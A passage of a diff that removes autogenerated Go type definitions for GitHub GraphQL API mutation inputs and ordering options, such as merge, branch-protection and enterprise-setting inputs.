accounts by. (Required.) - Field EnterpriseServerUserAccountOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// EnterpriseServerUserAccountsUploadOrder represents ordering options for Enterprise Server user accounts upload connections. -type EnterpriseServerUserAccountsUploadOrder struct { - // The field to order user accounts uploads by. (Required.) - Field EnterpriseServerUserAccountsUploadOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// FollowUserInput is an autogenerated input type of FollowUser. -type FollowUserInput struct { - // ID of the user to follow. (Required.) - UserID ID `json:"userId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// GistOrder represents ordering options for gist connections. -type GistOrder struct { - // The field to order repositories by. (Required.) - Field GistOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// ImportProjectInput is an autogenerated input type of ImportProject. -type ImportProjectInput struct { - // The name of the Organization or User to create the Project under. (Required.) - OwnerName String `json:"ownerName"` - // The name of Project. (Required.) - Name String `json:"name"` - // A list of columns containing issues and pull requests. (Required.) - ColumnImports []ProjectColumnImport `json:"columnImports"` - - // The description of Project. (Optional.) - Body *String `json:"body,omitempty"` - // Whether the Project is public or not. (Optional.) - Public *Boolean `json:"public,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// InviteEnterpriseAdminInput is an autogenerated input type of InviteEnterpriseAdmin. -type InviteEnterpriseAdminInput struct { - // The ID of the enterprise to which you want to invite an administrator. (Required.) - EnterpriseID ID `json:"enterpriseId"` - - // The login of a user to invite as an administrator. (Optional.) - Invitee *String `json:"invitee,omitempty"` - // The email of the person to invite as an administrator. (Optional.) - Email *String `json:"email,omitempty"` - // The role of the administrator. (Optional.) - Role *EnterpriseAdministratorRole `json:"role,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// IssueFilters represents ways in which to filter lists of issues. -type IssueFilters struct { - - // List issues assigned to given name. Pass in `null` for issues with no assigned user, and `*` for issues assigned to any user. (Optional.) - Assignee *String `json:"assignee,omitempty"` - // List issues created by given name. (Optional.) - CreatedBy *String `json:"createdBy,omitempty"` - // List issues where the list of label names exist on the issue. (Optional.) - Labels *[]String `json:"labels,omitempty"` - // List issues where the given name is mentioned in the issue. (Optional.) - Mentioned *String `json:"mentioned,omitempty"` - // List issues by given milestone argument. If an string representation of an integer is passed, it should refer to a milestone by its number field. Pass in `null` for issues with no milestone, and `*` for issues that are assigned to any milestone. (Optional.) - Milestone *String `json:"milestone,omitempty"` - // List issues that have been updated at or after the given date. (Optional.) - Since *DateTime `json:"since,omitempty"` - // List issues filtered by the list of states given. (Optional.) - States *[]IssueState `json:"states,omitempty"` - // List issues subscribed to by viewer. (Optional.) - ViewerSubscribed *Boolean `json:"viewerSubscribed,omitempty"` -} - -// IssueOrder represents ways in which lists of issues can be ordered upon return. -type IssueOrder struct { - // The field in which to order issues by. (Required.) - Field IssueOrderField `json:"field"` - // The direction in which to order issues by the specified field. (Required.) - Direction OrderDirection `json:"direction"` -} - -// LanguageOrder represents ordering options for language connections. -type LanguageOrder struct { - // The field to order languages by. (Required.) - Field LanguageOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// LinkRepositoryToProjectInput is an autogenerated input type of LinkRepositoryToProject. -type LinkRepositoryToProjectInput struct { - // The ID of the Project to link to a Repository. (Required.) - ProjectID ID `json:"projectId"` - // The ID of the Repository to link to a Project. (Required.) - RepositoryID ID `json:"repositoryId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// LockLockableInput is an autogenerated input type of LockLockable. -type LockLockableInput struct { - // ID of the issue or pull request to be locked. (Required.) - LockableID ID `json:"lockableId"` - - // A reason for why the issue or pull request will be locked. (Optional.) - LockReason *LockReason `json:"lockReason,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// MergeBranchInput is an autogenerated input type of MergeBranch. -type MergeBranchInput struct { - // The Node ID of the Repository containing the base branch that will be modified. (Required.) - RepositoryID ID `json:"repositoryId"` - // The name of the base branch that the provided head will be merged into. (Required.) - Base String `json:"base"` - // The head to merge into the base branch. This can be a branch name or a commit GitObjectID. (Required.) - Head String `json:"head"` - - // Message to use for the merge commit. If omitted, a default will be used. (Optional.) - CommitMessage *String `json:"commitMessage,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// MergePullRequestInput is an autogenerated input type of MergePullRequest. -type MergePullRequestInput struct { - // ID of the pull request to be merged. (Required.) - PullRequestID ID `json:"pullRequestId"` - - // Commit headline to use for the merge commit; if omitted, a default message will be used. (Optional.) - CommitHeadline *String `json:"commitHeadline,omitempty"` - // Commit body to use for the merge commit; if omitted, a default message will be used. (Optional.) - CommitBody *String `json:"commitBody,omitempty"` - // OID that the pull request head ref must match to allow merge; if omitted, no check is performed. (Optional.) - ExpectedHeadOid *GitObjectID `json:"expectedHeadOid,omitempty"` - // The merge method to use. If omitted, defaults to 'MERGE'. (Optional.) - MergeMethod *PullRequestMergeMethod `json:"mergeMethod,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// MilestoneOrder represents ordering options for milestone connections. -type MilestoneOrder struct { - // The field to order milestones by. (Required.) - Field MilestoneOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// MinimizeCommentInput is an autogenerated input type of MinimizeComment. -type MinimizeCommentInput struct { - // The Node ID of the subject to modify. (Required.) - SubjectID ID `json:"subjectId"` - // The classification of comment. (Required.) - Classifier ReportedContentClassifiers `json:"classifier"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// MoveProjectCardInput is an autogenerated input type of MoveProjectCard. -type MoveProjectCardInput struct { - // The id of the card to move. (Required.) - CardID ID `json:"cardId"` - // The id of the column to move it into. (Required.) - ColumnID ID `json:"columnId"` - - // Place the new card after the card with this id. Pass null to place it at the top. (Optional.) - AfterCardID *ID `json:"afterCardId,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// MoveProjectColumnInput is an autogenerated input type of MoveProjectColumn. -type MoveProjectColumnInput struct { - // The id of the column to move. (Required.) - ColumnID ID `json:"columnId"` - - // Place the new column after the column with this id. Pass null to place it at the front. (Optional.) - AfterColumnID *ID `json:"afterColumnId,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// OrganizationOrder represents ordering options for organization connections. -type OrganizationOrder struct { - // The field to order organizations by. (Required.) - Field OrganizationOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// PinIssueInput is an autogenerated input type of PinIssue. -type PinIssueInput struct { - // The ID of the issue to be pinned. (Required.) - IssueID ID `json:"issueId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// ProjectCardImport represents an issue or PR and its owning repository to be used in a project card. -type ProjectCardImport struct { - // Repository name with owner (owner/repository). (Required.) - Repository String `json:"repository"` - // The issue or pull request number. (Required.) - Number Int `json:"number"` -} - -// ProjectColumnImport represents a project column and a list of its issues and PRs. -type ProjectColumnImport struct { - // The name of the column. (Required.) - ColumnName String `json:"columnName"` - // The position of the column, starting from 0. (Required.) - Position Int `json:"position"` - - // A list of issues and pull requests in the column. (Optional.) - Issues *[]ProjectCardImport `json:"issues,omitempty"` -} - -// ProjectOrder represents ways in which lists of projects can be ordered upon return. -type ProjectOrder struct { - // The field in which to order projects by. (Required.) - Field ProjectOrderField `json:"field"` - // The direction in which to order projects by the specified field. (Required.) - Direction OrderDirection `json:"direction"` -} - -// PullRequestOrder represents ways in which lists of issues can be ordered upon return. -type PullRequestOrder struct { - // The field in which to order pull requests by. (Required.) - Field PullRequestOrderField `json:"field"` - // The direction in which to order pull requests by the specified field. (Required.) - Direction OrderDirection `json:"direction"` -} - -// ReactionOrder represents ways in which lists of reactions can be ordered upon return. -type ReactionOrder struct { - // The field in which to order reactions by. (Required.) - Field ReactionOrderField `json:"field"` - // The direction in which to order reactions by the specified field. (Required.) - Direction OrderDirection `json:"direction"` -} - -// RefOrder represents ways in which lists of git refs can be ordered upon return. -type RefOrder struct { - // The field in which to order refs by. (Required.) - Field RefOrderField `json:"field"` - // The direction in which to order refs by the specified field. (Required.) - Direction OrderDirection `json:"direction"` -} - -// RegenerateEnterpriseIdentityProviderRecoveryCodesInput is an autogenerated input type of RegenerateEnterpriseIdentityProviderRecoveryCodes. -type RegenerateEnterpriseIdentityProviderRecoveryCodesInput struct { - // The ID of the enterprise on which to set an identity provider. (Required.) - EnterpriseID ID `json:"enterpriseId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// RegistryPackageMetadatum represents represents a single registry metadatum. -type RegistryPackageMetadatum struct { - // Name of the metadatum. (Required.) - Name String `json:"name"` - // Value of the metadatum. (Required.) - Value String `json:"value"` - - // True, if the metadatum can be updated if it already exists. (Optional.) - Update *Boolean `json:"update,omitempty"` -} - -// ReleaseOrder represents ways in which lists of releases can be ordered upon return. -type ReleaseOrder struct { - // The field in which to order releases by. (Required.) - Field ReleaseOrderField `json:"field"` - // The direction in which to order releases by the specified field. (Required.) - Direction OrderDirection `json:"direction"` -} - -// RemoveAssigneesFromAssignableInput is an autogenerated input type of RemoveAssigneesFromAssignable. -type RemoveAssigneesFromAssignableInput struct { - // The id of the assignable object to remove assignees from. (Required.) - AssignableID ID `json:"assignableId"` - // The id of users to remove as assignees. (Required.) - AssigneeIDs []ID `json:"assigneeIds"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// RemoveEnterpriseAdminInput is an autogenerated input type of RemoveEnterpriseAdmin. -type RemoveEnterpriseAdminInput struct { - // The Enterprise ID from which to remove the administrator. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The login of the user to remove as an administrator. (Required.) - Login String `json:"login"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// RemoveEnterpriseOrganizationInput is an autogenerated input type of RemoveEnterpriseOrganization. -type RemoveEnterpriseOrganizationInput struct { - // The ID of the enterprise from which the organization should be removed. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The ID of the organization to remove from the enterprise. (Required.) - OrganizationID ID `json:"organizationId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// RemoveLabelsFromLabelableInput is an autogenerated input type of RemoveLabelsFromLabelable. -type RemoveLabelsFromLabelableInput struct { - // The id of the Labelable to remove labels from. (Required.) - LabelableID ID `json:"labelableId"` - // The ids of labels to remove. (Required.) - LabelIDs []ID `json:"labelIds"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// RemoveOutsideCollaboratorInput is an autogenerated input type of RemoveOutsideCollaborator. -type RemoveOutsideCollaboratorInput struct { - // The ID of the outside collaborator to remove. (Required.) - UserID ID `json:"userId"` - // The ID of the organization to remove the outside collaborator from. (Required.) - OrganizationID ID `json:"organizationId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// RemoveReactionInput is an autogenerated input type of RemoveReaction. -type RemoveReactionInput struct { - // The Node ID of the subject to modify. (Required.) - SubjectID ID `json:"subjectId"` - // The name of the emoji reaction to remove. (Required.) - Content ReactionContent `json:"content"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// RemoveStarInput is an autogenerated input type of RemoveStar. -type RemoveStarInput struct { - // The Starrable ID to unstar. (Required.) - StarrableID ID `json:"starrableId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// ReopenIssueInput is an autogenerated input type of ReopenIssue. -type ReopenIssueInput struct { - // ID of the issue to be opened. (Required.) - IssueID ID `json:"issueId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// ReopenPullRequestInput is an autogenerated input type of ReopenPullRequest. -type ReopenPullRequestInput struct { - // ID of the pull request to be reopened. (Required.) - PullRequestID ID `json:"pullRequestId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// RepositoryInvitationOrder represents ordering options for repository invitation connections. -type RepositoryInvitationOrder struct { - // The field to order repository invitations by. (Required.) - Field RepositoryInvitationOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// RepositoryOrder represents ordering options for repository connections. -type RepositoryOrder struct { - // The field to order repositories by. (Required.) - Field RepositoryOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// RequestReviewsInput is an autogenerated input type of RequestReviews. -type RequestReviewsInput struct { - // The Node ID of the pull request to modify. (Required.) - PullRequestID ID `json:"pullRequestId"` - - // The Node IDs of the user to request. (Optional.) - UserIDs *[]ID `json:"userIds,omitempty"` - // The Node IDs of the team to request. (Optional.) - TeamIDs *[]ID `json:"teamIds,omitempty"` - // Add users to the set rather than replace. (Optional.) - Union *Boolean `json:"union,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// ResolveReviewThreadInput is an autogenerated input type of ResolveReviewThread. -type ResolveReviewThreadInput struct { - // The ID of the thread to resolve. (Required.) - ThreadID ID `json:"threadId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// SavedReplyOrder represents ordering options for saved reply connections. -type SavedReplyOrder struct { - // The field to order saved replies by. (Required.) - Field SavedReplyOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// SecurityAdvisoryIdentifierFilter represents an advisory identifier to filter results on. -type SecurityAdvisoryIdentifierFilter struct { - // The identifier type. (Required.) - Type SecurityAdvisoryIdentifierType `json:"type"` - // The identifier string. Supports exact or partial matching. (Required.) - Value String `json:"value"` -} - -// SecurityAdvisoryOrder represents ordering options for security advisory connections. -type SecurityAdvisoryOrder struct { - // The field to order security advisories by. (Required.) - Field SecurityAdvisoryOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// SecurityVulnerabilityOrder represents ordering options for security vulnerability connections. -type SecurityVulnerabilityOrder struct { - // The field to order security vulnerabilities by. (Required.) - Field SecurityVulnerabilityOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// SponsorsTierOrder represents ordering options for Sponsors tiers connections. -type SponsorsTierOrder struct { - // The field to order tiers by. (Required.) - Field SponsorsTierOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// SponsorshipOrder represents ordering options for sponsorship connections. -type SponsorshipOrder struct { - // The field to order sponsorship by. (Required.) - Field SponsorshipOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// StarOrder represents ways in which star connections can be ordered. -type StarOrder struct { - // The field in which to order nodes by. (Required.) - Field StarOrderField `json:"field"` - // The direction in which to order nodes. (Required.) - Direction OrderDirection `json:"direction"` -} - -// SubmitPullRequestReviewInput is an autogenerated input type of SubmitPullRequestReview. -type SubmitPullRequestReviewInput struct { - // The Pull Request Review ID to submit. (Required.) - PullRequestReviewID ID `json:"pullRequestReviewId"` - // The event to send to the Pull Request Review. (Required.) - Event PullRequestReviewEvent `json:"event"` - - // The text field to set on the Pull Request Review. (Optional.) - Body *String `json:"body,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// TeamDiscussionCommentOrder represents ways in which team discussion comment connections can be ordered. -type TeamDiscussionCommentOrder struct { - // The field by which to order nodes. (Required.) - Field TeamDiscussionCommentOrderField `json:"field"` - // The direction in which to order nodes. (Required.) - Direction OrderDirection `json:"direction"` -} - -// TeamDiscussionOrder represents ways in which team discussion connections can be ordered. -type TeamDiscussionOrder struct { - // The field by which to order nodes. (Required.) - Field TeamDiscussionOrderField `json:"field"` - // The direction in which to order nodes. (Required.) - Direction OrderDirection `json:"direction"` -} - -// TeamMemberOrder represents ordering options for team member connections. -type TeamMemberOrder struct { - // The field to order team members by. (Required.) - Field TeamMemberOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// TeamOrder represents ways in which team connections can be ordered. -type TeamOrder struct { - // The field in which to order nodes by. (Required.) - Field TeamOrderField `json:"field"` - // The direction in which to order nodes. (Required.) - Direction OrderDirection `json:"direction"` -} - -// TeamRepositoryOrder represents ordering options for team repository connections. -type TeamRepositoryOrder struct { - // The field to order repositories by. (Required.) - Field TeamRepositoryOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// TransferIssueInput is an autogenerated input type of TransferIssue. -type TransferIssueInput struct { - // The Node ID of the issue to be transferred. (Required.) - IssueID ID `json:"issueId"` - // The Node ID of the repository the issue should be transferred to. (Required.) - RepositoryID ID `json:"repositoryId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UnarchiveRepositoryInput is an autogenerated input type of UnarchiveRepository. -type UnarchiveRepositoryInput struct { - // The ID of the repository to unarchive. (Required.) - RepositoryID ID `json:"repositoryId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UnfollowUserInput is an autogenerated input type of UnfollowUser. -type UnfollowUserInput struct { - // ID of the user to unfollow. (Required.) - UserID ID `json:"userId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UnlinkRepositoryFromProjectInput is an autogenerated input type of UnlinkRepositoryFromProject. -type UnlinkRepositoryFromProjectInput struct { - // The ID of the Project linked to the Repository. (Required.) - ProjectID ID `json:"projectId"` - // The ID of the Repository linked to the Project. (Required.) - RepositoryID ID `json:"repositoryId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UnlockLockableInput is an autogenerated input type of UnlockLockable. -type UnlockLockableInput struct { - // ID of the issue or pull request to be unlocked. (Required.) - LockableID ID `json:"lockableId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UnmarkIssueAsDuplicateInput is an autogenerated input type of UnmarkIssueAsDuplicate. -type UnmarkIssueAsDuplicateInput struct { - // ID of the issue or pull request currently marked as a duplicate. (Required.) - DuplicateID ID `json:"duplicateId"` - // ID of the issue or pull request currently considered canonical/authoritative/original. (Required.) - CanonicalID ID `json:"canonicalId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UnminimizeCommentInput is an autogenerated input type of UnminimizeComment. -type UnminimizeCommentInput struct { - // The Node ID of the subject to modify. (Required.) - SubjectID ID `json:"subjectId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UnpinIssueInput is an autogenerated input type of UnpinIssue. -type UnpinIssueInput struct { - // The ID of the issue to be unpinned. (Required.) - IssueID ID `json:"issueId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UnresolveReviewThreadInput is an autogenerated input type of UnresolveReviewThread. -type UnresolveReviewThreadInput struct { - // The ID of the thread to unresolve. (Required.) - ThreadID ID `json:"threadId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateBranchProtectionRuleInput is an autogenerated input type of UpdateBranchProtectionRule. -type UpdateBranchProtectionRuleInput struct { - // The global relay id of the branch protection rule to be updated. (Required.) - BranchProtectionRuleID ID `json:"branchProtectionRuleId"` - - // The glob-like pattern used to determine matching branches. (Optional.) - Pattern *String `json:"pattern,omitempty"` - // Are approving reviews required to update matching branches. (Optional.) - RequiresApprovingReviews *Boolean `json:"requiresApprovingReviews,omitempty"` - // Number of approving reviews required to update matching branches. (Optional.) - RequiredApprovingReviewCount *Int `json:"requiredApprovingReviewCount,omitempty"` - // Are commits required to be signed. (Optional.) - RequiresCommitSignatures *Boolean `json:"requiresCommitSignatures,omitempty"` - // Can admins overwrite branch protection. (Optional.) - IsAdminEnforced *Boolean `json:"isAdminEnforced,omitempty"` - // Are status checks required to update matching branches. (Optional.) - RequiresStatusChecks *Boolean `json:"requiresStatusChecks,omitempty"` - // Are branches required to be up to date before merging. (Optional.) - RequiresStrictStatusChecks *Boolean `json:"requiresStrictStatusChecks,omitempty"` - // Are reviews from code owners required to update matching branches. (Optional.) - RequiresCodeOwnerReviews *Boolean `json:"requiresCodeOwnerReviews,omitempty"` - // Will new commits pushed to matching branches dismiss pull request review approvals. (Optional.) - DismissesStaleReviews *Boolean `json:"dismissesStaleReviews,omitempty"` - // Is dismissal of pull request reviews restricted. (Optional.) - RestrictsReviewDismissals *Boolean `json:"restrictsReviewDismissals,omitempty"` - // A list of User or Team IDs allowed to dismiss reviews on pull requests targeting matching branches. (Optional.) - ReviewDismissalActorIDs *[]ID `json:"reviewDismissalActorIds,omitempty"` - // Is pushing to matching branches restricted. (Optional.) - RestrictsPushes *Boolean `json:"restrictsPushes,omitempty"` - // A list of User, Team or App IDs allowed to push to matching branches. (Optional.) - PushActorIDs *[]ID `json:"pushActorIds,omitempty"` - // List of required status check contexts that must pass for commits to be accepted to matching branches. (Optional.) - RequiredStatusCheckContexts *[]String `json:"requiredStatusCheckContexts,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseActionExecutionCapabilitySettingInput is an autogenerated input type of UpdateEnterpriseActionExecutionCapabilitySetting. -type UpdateEnterpriseActionExecutionCapabilitySettingInput struct { - // The ID of the enterprise on which to set the members can create repositories setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the action execution capability setting on the enterprise. (Required.) - Capability ActionExecutionCapabilitySetting `json:"capability"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseAdministratorRoleInput is an autogenerated input type of UpdateEnterpriseAdministratorRole. -type UpdateEnterpriseAdministratorRoleInput struct { - // The ID of the Enterprise which the admin belongs to. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The login of a administrator whose role is being changed. (Required.) - Login String `json:"login"` - // The new role for the Enterprise administrator. (Required.) - Role EnterpriseAdministratorRole `json:"role"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseAllowPrivateRepositoryForkingSettingInput is an autogenerated input type of UpdateEnterpriseAllowPrivateRepositoryForkingSetting. -type UpdateEnterpriseAllowPrivateRepositoryForkingSettingInput struct { - // The ID of the enterprise on which to set the allow private repository forking setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the allow private repository forking setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseDefaultRepositoryPermissionSettingInput is an autogenerated input type of UpdateEnterpriseDefaultRepositoryPermissionSetting. -type UpdateEnterpriseDefaultRepositoryPermissionSettingInput struct { - // The ID of the enterprise on which to set the default repository permission setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the default repository permission setting on the enterprise. (Required.) - SettingValue EnterpriseDefaultRepositoryPermissionSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseMembersCanChangeRepositoryVisibilitySettingInput is an autogenerated input type of UpdateEnterpriseMembersCanChangeRepositoryVisibilitySetting. -type UpdateEnterpriseMembersCanChangeRepositoryVisibilitySettingInput struct { - // The ID of the enterprise on which to set the members can change repository visibility setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the members can change repository visibility setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseMembersCanCreateRepositoriesSettingInput is an autogenerated input type of UpdateEnterpriseMembersCanCreateRepositoriesSetting. -type UpdateEnterpriseMembersCanCreateRepositoriesSettingInput struct { - // The ID of the enterprise on which to set the members can create repositories setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - - // Value for the members can create repositories setting on the enterprise. This or the granular public/private/internal allowed fields (but not both) must be provided. (Optional.) - SettingValue *EnterpriseMembersCanCreateRepositoriesSettingValue `json:"settingValue,omitempty"` - // When false, allow member organizations to set their own repository creation member privileges. (Optional.) - MembersCanCreateRepositoriesPolicyEnabled *Boolean `json:"membersCanCreateRepositoriesPolicyEnabled,omitempty"` - // Allow members to create public repositories. Defaults to current value. (Optional.) - MembersCanCreatePublicRepositories *Boolean `json:"membersCanCreatePublicRepositories,omitempty"` - // Allow members to create private repositories. Defaults to current value. (Optional.) - MembersCanCreatePrivateRepositories *Boolean `json:"membersCanCreatePrivateRepositories,omitempty"` - // Allow members to create internal repositories. Defaults to current value. (Optional.) - MembersCanCreateInternalRepositories *Boolean `json:"membersCanCreateInternalRepositories,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseMembersCanDeleteIssuesSettingInput is an autogenerated input type of UpdateEnterpriseMembersCanDeleteIssuesSetting. -type UpdateEnterpriseMembersCanDeleteIssuesSettingInput struct { - // The ID of the enterprise on which to set the members can delete issues setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the members can delete issues setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseMembersCanDeleteRepositoriesSettingInput is an autogenerated input type of UpdateEnterpriseMembersCanDeleteRepositoriesSetting. -type UpdateEnterpriseMembersCanDeleteRepositoriesSettingInput struct { - // The ID of the enterprise on which to set the members can delete repositories setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the members can delete repositories setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseMembersCanInviteCollaboratorsSettingInput is an autogenerated input type of UpdateEnterpriseMembersCanInviteCollaboratorsSetting. -type UpdateEnterpriseMembersCanInviteCollaboratorsSettingInput struct { - // The ID of the enterprise on which to set the members can invite collaborators setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the members can invite collaborators setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseMembersCanMakePurchasesSettingInput is an autogenerated input type of UpdateEnterpriseMembersCanMakePurchasesSetting. -type UpdateEnterpriseMembersCanMakePurchasesSettingInput struct { - // The ID of the enterprise on which to set the members can make purchases setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the members can make purchases setting on the enterprise. (Required.) - SettingValue EnterpriseMembersCanMakePurchasesSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseMembersCanUpdateProtectedBranchesSettingInput is an autogenerated input type of UpdateEnterpriseMembersCanUpdateProtectedBranchesSetting. -type UpdateEnterpriseMembersCanUpdateProtectedBranchesSettingInput struct { - // The ID of the enterprise on which to set the members can update protected branches setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the members can update protected branches setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseMembersCanViewDependencyInsightsSettingInput is an autogenerated input type of UpdateEnterpriseMembersCanViewDependencyInsightsSetting. -type UpdateEnterpriseMembersCanViewDependencyInsightsSettingInput struct { - // The ID of the enterprise on which to set the members can view dependency insights setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the members can view dependency insights setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseOrganizationProjectsSettingInput is an autogenerated input type of UpdateEnterpriseOrganizationProjectsSetting. -type 